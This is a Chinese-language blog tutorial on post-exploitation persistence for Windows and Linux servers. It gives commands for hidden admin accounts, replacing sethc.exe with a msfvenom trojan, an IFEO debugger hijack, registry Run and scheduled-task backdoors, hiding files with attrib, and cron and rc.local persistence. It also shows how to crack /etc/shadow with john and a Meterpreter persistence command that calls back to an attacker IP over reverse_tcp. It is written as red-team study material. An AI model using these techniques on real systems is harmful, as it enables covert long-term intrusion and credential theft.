权限维持概述
当攻击者获取服务器权限后,通常会采用一些后门技术来维持自己当前得到的权限,服务器一旦被植入后门,那么攻击者下次进入就方便多了
由于攻击可能被发现,会清除一些shell,导致目标丢失,所以需要留下后门来维持权限,达到持续控制的目的
常见后门技术
隐藏、克隆账户
shift 后门
启动项、计划任务
劫持技术
Powershell 后门
远控软件
嗅探技术
web 后门
Windows后门
隐藏克隆用户
net user test 123 /add
net localgroup adminitrators test /add
增加隐藏账户
net user test $ 123 /add
net localgroup administrators test $ /add
克隆隐藏账户
shfit后门
Windows 的粘滞键:C:\windows\system32\sethc.exe
,它本是为不方便按组合键的人设计的,Windows 系统按 5 下 shift 后,Windows 就执行了
当我们未登陆系统(停留在登陆界面)的时候 系统还不知道我们将以哪个用户登陆,所以在这个时候连续按5次 shift 后的话系统将会以 system 用户(具有管理员级别的权限)来运行 sethc.exe
这个程序
实验
可以先使用 msfvenom 制作一个 windows 的木马,改名为 sethc.exe
然后替换掉文件 C:\windows\system32\sethc.exe
如果 sethc.exe
不能替换,是因为权限的问题
先可以更改该文件的拥有者,再更改拥有者的权限
比如:在远程连接登录页面按下 5 次 shift,那么就会反弹 shell
shift映像劫持后门
映像劫持(Image File Execution Options),简单的说,就是打开程序A,而运行的确实程序B
映像劫持是 windows 内设用来调试程序的功能,但常被病毒恶意利用
注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
实验
创建 sethc.exe
项后,新建 Debugger 字符串,填入相应执行文件的路径
按下 5 次 shift 后,会执行相应的执行文件
启动项后门
添加启动项,注销后再次登录,就会执行 shell8888.exe
恶意程序
启动项:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
计划任务后门
在 windows7 中运行:at <时间> "shell.exe"
在到达时间之后,执行文件执行
不支持 at 命令的,可以使用 schtasks 命令
隐藏上传的文件
为了避免被发现,上传之后可以使用 attrib
命令将文件隐藏
+s 表示设置系统属性,+h 表示设置隐藏属性
例如:attrib +s +h shell8888.exe
Linux后门
通过修改 /etc/rc.local
来添加启动命令
修改 /etc/crontab
文件添加定时执行的程序或脚本
将启动脚本放置到 /etc/cron.hourly
、/etc/cron.daily
、/etc/cron.weekly
、/etc/cron.monthly
等周期性执行脚本的目录,将会定时启动
计划任务后门
编辑计划任务:vim /etc/crontab
*
This operator specifies all possible values for a field. For example, an asterisk in the hour time field would be equivalent to every hour or an asterisk in the month field would be equivalent to every month.
/
This operator specifies a step value, for example: “0-23/” can be used in the hours field to specify command execution every other hour. Steps are also permitted after an asterisk, so if you want to say every two hours, just use */2.
-
This operator specifies a range of values, for example: “5-15” days , which is equivalent to typing “5,6,7,8,9,….,13,14,15” using the comma operator.
,
This operator specifies a list of values, for example: “1,5,10,15,20, 25”.
实验
准备好一个 shell.elf(使用 msfvenom 生成)
编辑 crontab:vim /etc/crontab
补充内容
Linux密码原理
Linux 系统涉及系统登录密码的文件主要有
用户信息 /etc/passwd
密码信息 /etc/shadow
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181 :0 :99999 :7 :::
冒号是分割符,每个字段分别代表着
用户名
:密码hash值
:密码修改距离 1970年1月1日 的时间
:密码将被允许修改之前的天数(0 表示“可在任何时间修改”)
:系统将强制用户修改为新密码之前的天数(1 表示“永远都不能修改”)
:密码过期之前,用户将被警告过期的天数(-1 表示“没有警告”)
:密码过期之后,系统自动禁用帐户的天数(-1 表示“永远不会禁用”)
:该帐户被禁用的天数(-1 表示“该帐户被启用”)
:保留供将来使用
Linux系统加密算法
root:$6$JtSkn6bdBSfw4vVS$SMCI4B1wFd2ywOPK.nrr07hQYR41MIszyDIY3Z9/BRD/Qq.YJRs4zKYDi0tIWreM92GHW7sRhwLZzQk4x2Tkb0 :18853 :0 :99999 :7 :::
数字和所使用的加密算法对应关系:
$1:MD5 加密算法(22位)
$2:Blowfish 加密算法(只在有一部分 linux 分支中使用的加密方法)
$5:SHA-256 加密算法(43位)
$6:SHA-512 加密算法(86位)
其他格式为标准的 DES 加密算法
john爆破Linux密码
unshadow /etc/passwd /etc/shadow >pass
john –-wordlist=/usr/share/john/password.lst pass
john –-show pass
MSF后门
进程注入
run post/windows/manage/migrate
Persistence模块
run persistence -P windows/x64/meterpreter/reverse_tcp -X -i 6 -p <PORT> -r <攻击机IP>
Metsvc模块
通过 Metsvc 模块可以在已经获得 shell 的目标主机上,开启一个服务来提供后门的功能
本文作者:颜趣空间
本文链接:https://www.cnblogs.com/toki-plus/p/16286571.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议 进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步